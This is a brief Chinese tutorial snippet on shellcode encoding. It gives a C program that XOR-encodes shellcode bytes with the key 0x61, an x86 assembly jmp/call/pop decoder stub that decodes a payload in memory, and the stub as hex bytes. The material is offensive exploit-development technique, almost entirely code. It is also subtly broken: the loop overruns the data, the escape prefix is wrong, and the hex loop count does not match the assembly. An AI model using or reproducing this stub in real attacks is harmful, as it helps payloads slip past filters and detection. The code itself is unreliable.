Shellcode 编码、解码

编码程序：
void main()
{
       FILE *fp = NULL;
 
    fp = fopen("ShellCode.txt","w");
 if( fp == NULL )
 {
        system("pause");
  exit(1);
 }
int a[1024] = 
{0x6D,0x64,0x2E,0x54,0xFF,0xD3,0x5C};
       for (int i = 0; i < 100; i++)
       {
              a[i] = a[i] ^ 0x61;
              fprintf(fp,"//x%x", a[i]);
              //printf("%x/n", a[i]);
       }
       fclose(fp);
}
 
解码程序：
jmp decode_begin
decode_start:
                 pop ebx
                     dec ebx
                     xor ecx,ecx
                     mov cl,0xff
decode_loop:   
                  xor byte ptr DS:[ebx + ecx], 0x61
                     loop decode_loop
                     jmp decode_ok
decode_begin:
                 call decode_start
       decode_ok:
 
编码16进制：
"/xEB/x0F/x5B/x4B/x33/xC9/xB1/xB0/x3E/x80/x34/x0B/x61/xE2/xF9/xEB/x05/xE8/xEC/xFF/xFF/xFF"